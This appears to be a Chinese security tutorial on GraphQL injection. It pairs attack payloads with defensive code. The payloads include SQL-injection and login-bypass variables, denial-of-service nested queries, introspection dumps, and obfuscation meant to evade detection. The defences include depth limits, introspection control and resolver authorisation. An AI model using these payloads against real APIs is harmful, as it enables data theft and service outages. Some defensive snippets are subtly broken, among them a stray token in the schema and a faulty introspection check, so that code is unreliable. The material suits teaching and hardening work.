018_Web安全攻防实战：GraphQL注入原理、攻击技术与全面防御策略深度指南

# 示例Schema定义

type User {
  id: ID!
  name: String!
  email: String!
  posts: [Post!]!
}

type Post {
  id: ID!
  title: String!
  content: String!
  author: User!
}

type Query {
  user(id: ID!): User
  posts: [Post!]!
}

type Mutation {
  createUser(name: String!, email: String!): User!
  updateUser(id: ID!, name: String, email: String): User!
}

GraphQL安全模型关键点
├── 单一入口点 → 集中防护但攻击面明确
├── 类型系统 → 提供基本验证但非完全防御
├── 查询复杂性 → 引入资源耗尽风险
├── 授权模型 → 需在resolver层实现
└── 输入验证 → 需显式处理所有参数

# 原始正常查询
query { user(id: 1) { name } }

# 注入后的恶意查询
query { user(id: 1) { name email posts { content } } }

# 查询
query GetUser($id: ID!) {
  user(id: $id) { name }
}

# 正常变量
{ "id": "1" }

# 注入变量
{ "id": "1' OR '1'='1" }

# 恶意嵌套查询
query { 
  user(id: 1) { 
    name 
    posts { 
      content 
      comments { 
        text 
        author { 
          email 
          password # 假设存在但不应访问的字段
        } 
      } 
    } 
  } 
}

# 无限递归查询（伪代码）
query { 
  user(id: 1) { 
    friends { 
      friends { 
        friends { 
          ... # 无限嵌套
        } 
      } 
    } 
  } 
}

# 类型混淆示例
query { 
  user(id: "1 OR 1=1") { # 字符串注入到ID字段
    name 
  } 
}

# 查询整个Schema结构
query IntrospectionQuery {
  __schema {
    types {
      name
      kind
      fields {
        name
        args {
          name
          type {
            name
            kind
          }
        }
      }
    }
  }
}

# 正常查询
query { 
  user(id: 1) { 
    name 
    email 
  } 
}

# 恶意查询 - 添加敏感字段
query { 
  user(id: 1) { 
    name 
    email 
    passwordHash # 假设存在但应受限的字段
    internalNotes # 内部注释
    paymentInfo # 支付信息
  } 
}

# 深度遍历攻击
query { 
  user(id: 1) { 
    name 
    posts { 
      content 
      comments { 
        text 
        author { 
          id 
          name 
          email 
          # 遍历相关联的其他用户数据
          friends { 
            id 
            name 
            email 
          } 
        } 
      } 
    } 
  } 
}

# 查询
query GetUsers($filter: String) {
  users(filter: $filter) { 
    id 
    name 
  } 
}

# 恶意变量 - SQL注入
{ "filter": "' OR '1'='1" }

# 查询
query Login($username: String!, $password: String!) {
  login(username: $username, password: $password) {
    token
    user {
      id
    }
  }
}

# 恶意变量 - 可能的认证绕过
{ "username": "admin' --", "password": "anything" }

# 深度嵌套查询（简化示例）
query ExhaustionAttack {
  user(id: 1) {
    friends {
      friends {
        friends {
          friends {
            friends {
              # 重复嵌套多层
              name
              friends { name } # 每层都请求friends
            }
          }
        }
      }
    }
  }
}

# 循环引用攻击
query {
  user(id: 1) { 
    # 假设User和Department存在循环引用
    departments { 
      employees { 
        departments { 
          employees { 
            # 无限循环
          } 
        } 
      } 
    } 
  } 
}

# 单个请求中执行多个查询
query {
  user1: user(id: 1) { name email }
  user2: user(id: 2) { name email }
  user3: user(id: 3) { name email }
  # 可以继续添加多个用户查询
}

# 使用不常见别名绕过监控
query {
  a: user(id: 1) { name email }
  b: user(id: 2) { name email }
  # 使用简单字母作为别名，可能绕过某些基于名称的检测
}

绕过CSP的GraphQL注入技术
├── 使用JSONP格式请求
├── 利用同源策略漏洞
├── 构造符合CSP规则的请求格式
├── 通过WebSocket发送GraphQL查询
└── 使用其他合法端点转发攻击

// 通过fetch发送GraphQL查询，可能绕过某些CSP限制
fetch('/graphql', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    // 可能需要其他头部来绕过特定CSP
  },
  body: JSON.stringify({
    query: `query { __schema { types { name } } }`
  })
})

# 使用注释混淆查询结构
query {
  user(id: 1 # 注释
  ) { name }
}

# 混合大小写绕过基于大小写的检测
QuErY { 
  UsEr(Id: 1) { NaMe } 
}

# 重构查询结构
query GetUserData {
  u: user(id: 1) { n: name }
}

# 查询
query GetUser($id: ID!) {
  user(id: $id) { name }
}

# 变量（单独发送，可能绕过检测）
{ "id": "1' OR '1'='1" }

# 直接访问管理员字段
query {
  user(id: 1) { 
    name 
    # 假设adminInfo字段应仅对管理员可见
    adminInfo { 
      permissions 
      accessLevel 
    } 
  } 
}

# 通过关系访问受保护资源
query {
  publicPost(id: 1) { 
    title 
    # 假设author字段包含敏感信息但未正确保护
    author { 
      id 
      name 
      email 
      # 通过作者访问其他受保护资源
      privateMessages { content } 
    } 
  } 
}

# 使用多个独立查询（每个深度不超过限制，但总复杂度高）
query MultipleQueries {
  q1: posts { title }
  q2: users { name }
  q3: comments { text }
  # 可以添加大量类似查询
}

# 使用片段增加复杂度
query ComplexFragment {
  ...Fragment1
  ...Fragment2
}

fragment Fragment1 on Query {
  users { name }
  posts { title }
}

fragment Fragment2 on Query {
  comments { text }
  categories { name }
}

GraphQL代码审计关键检查点
├── 解析器中是否有适当的输入验证
├── 是否在resolver层实施了访问控制
├── 是否限制了查询深度和复杂度
├── 是否禁用或限制了内省查询
├── 是否正确处理和记录错误
├── 是否有适当的速率限制
└── 是否使用参数化查询避免注入

name: GraphQL Security Scan

on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Setup Node.js
        uses: actions/setup-node@v3
        with:
          node-version: '16'
      - name: Install dependencies
        run: npm ci
      - name: Run GraphQL security scan
        run: npx graphql-inspector validate .
      - name: Run OWASP ZAP scan
        uses: zaproxy/action-baseline@v0.7.0
        with:
          target: 'http://localhost:3000/graphql'

# 安全的Schema设计示例

type User {
  id: ID!
  name: String!
  # 避免直接暴露email，使用自定义标量
  email: ProtectedString!
  # 根据用户权限决定返回字段
  posts: [Post!]!
}

# 自定义标量用于处理敏感数据
s scalar ProtectedString

# 不同角色的查询类型
type Query {
  # 公共查询
  publicPosts: [Post!]!
  publicUser(id: ID!): PublicUser
  
  # 需认证的查询
  currentUser: User! @auth
  user(id: ID!): User! @auth(requires: [ADMIN, MODERATOR])
}

# 使用指令标记权限要求
directive @auth(requires: [Role!] = [USER]) on FIELD_DEFINITION

// Apollo Server中间件示例
const depthLimit = require('graphql-depth-limit');

const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [
    depthLimit(5), // 限制最大查询深度为5
    // 可以添加复杂度限制
  ],
});

// 自定义复杂度限制规则
function complexityLimit(maxComplexity) {
  return function(context) {
    let totalComplexity = 0;
    
    return {
      Field(node) {
        const complexity = node.directives.find(d => d.name.value === 'complexity');
        if (complexity) {
          const value = parseInt(complexity.arguments[0].value.value, 10);
          totalComplexity += value;
          
          if (totalComplexity > maxComplexity) {
            context.reportError(new Error(
              `Query exceeds maximum complexity of ${maxComplexity}`
            ));
          }
        }
      }
    };
  };
}

// 在生产环境禁用内省
const server = new ApolloServer({
  typeDefs,
  resolvers,
  introspection: process.env.NODE_ENV !== 'production',
});

// 仅允许管理员访问内省
const server = new ApolloServer({
  typeDefs,
  resolvers,
  plugins: [
    {
      requestDidStart() {
        return {
          validationDidStart({ request, context }) {
            const isIntrospectionQuery = request.query && 
              request.query.includes('__schema') || 
              request.query.includes('__type');
            
            if (isIntrospectionQuery && !context.user?.roles?.includes('ADMIN')) {
              return { willSendResponse() {
                throw new Error('Introspection queries are restricted');
              }};
            }
          }
        };
      }
    }
  ]
});

// 解析器中的输入验证示例
const resolvers = {
  Mutation: {
    createUser: async (parent, args, context) => {
      // 验证输入
      if (!args.name || args.name.length < 2) {
        throw new Error('Name must be at least 2 characters');
      }
      
      // 邮箱格式验证
      const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
      if (!emailRegex.test(args.email)) {
        throw new Error('Invalid email format');
      }
      
      // 净化输入（移除潜在的恶意字符）
      const sanitizedName = args.name.replace(/[<>]/g, '');
      
      // 创建用户逻辑...
    }
  }
};

// Apollo Server错误处理示例
const server = new ApolloServer({
  typeDefs,
  resolvers,
  formatError: (err) => {
    // 记录原始错误
    console.error(err);
    
    // 在生产环境隐藏详细错误
    if (process.env.NODE_ENV === 'production') {
      // 检查错误类型
      if (err.originalError && err.originalError.name === 'ValidationError') {
        return new Error('Invalid input provided');
      } else if (err.originalError && err.originalError.name === 'AuthenticationError') {
        return new Error('Authentication required');
      } else if (err.originalError && err.originalError.name === 'ForbiddenError') {
        return new Error('You do not have permission to perform this action');
      }
      // 其他错误返回通用消息
      return new Error('An internal server error occurred');
    }
    
    // 开发环境返回详细错误
    return err;
  },
});

GraphQL多层防御架构
├── 网络层防御
│   ├── WAF规则定制
│   ├── 速率限制
│   └── IP过滤
├── API网关防御
│   ├── 请求验证
│   ├── 认证授权
│   └── 流量监控
├── GraphQL服务层防御
│   ├── 查询验证
│   ├── 深度与复杂度限制
│   └── 内省控制
├── 解析器层防御
│   ├── 输入验证
│   ├── 权限检查
│   └── 数据过滤
└── 数据层防御
    ├── 参数化查询
    ├── 最小权限数据库用户
    └── 数据加密

// 基于角色的解析器保护
const protectedResolver = (resolver, requiredRoles = ['USER']) => {
  return (parent, args, context, info) => {
    // 检查认证
    if (!context.user) {
      throw new Error('Authentication required');
    }
    
    // 检查授权
    const hasPermission = requiredRoles.some(role => 
      context.user.roles.includes(role)
    );
    
    if (!hasPermission) {
      throw new Error('Insufficient permissions');
    }
    
    // 执行原始解析器
    return resolver(parent, args, context, info);
  };
};

// 使用装饰器保护解析器
const resolvers = {
  Query: {
    adminData: protectedResolver((parent, args, context) => {
      // 管理员数据获取逻辑
    }, ['ADMIN']),
    
    userData: protectedResolver((parent, args, context) => {
      // 用户数据获取逻辑
      // 可以进一步根据user.id过滤数据
    })
  }
};

// Apollo Server审计日志插件
const auditLogger = {
  requestDidStart({ request, context }) {
    const startTime = Date.now();
    
    return {
      didResolveOperation({ request, operation, context }) {
        // 记录操作类型和字段
        console.log(`Operation: ${operation.operation || 'unknown'}`);
        console.log(`Selected fields: ${operation.selectionSet.selections.map(s => s.name.value).join(', ')}`);
      },
      
      didEncounterErrors({ errors, request, context }) {
        // 记录错误
        errors.forEach(error => {
          console.error('GraphQL Error:', {
            message: error.message,
            path: error.path,
            locations: error.locations,
            user: context.user?.id || 'unauthenticated'
          });
        });
      },
      
      willSendResponse({ response, context }) {
        // 记录响应时间和大小
        const duration = Date.now() - startTime;
        const responseSize = JSON.stringify(response).length;
        
        console.log('Request completed:', {
          user: context.user?.id || 'unauthenticated',
          duration: `${duration}ms`,
          responseSize: `${responseSize} bytes`
        });
      }
    };
  }
};

机器学习防御流程
├── 收集正常查询样本
├── 训练异常检测模型
├── 实时分析查询模式
├── 识别异常查询
└── 自动阻止或限流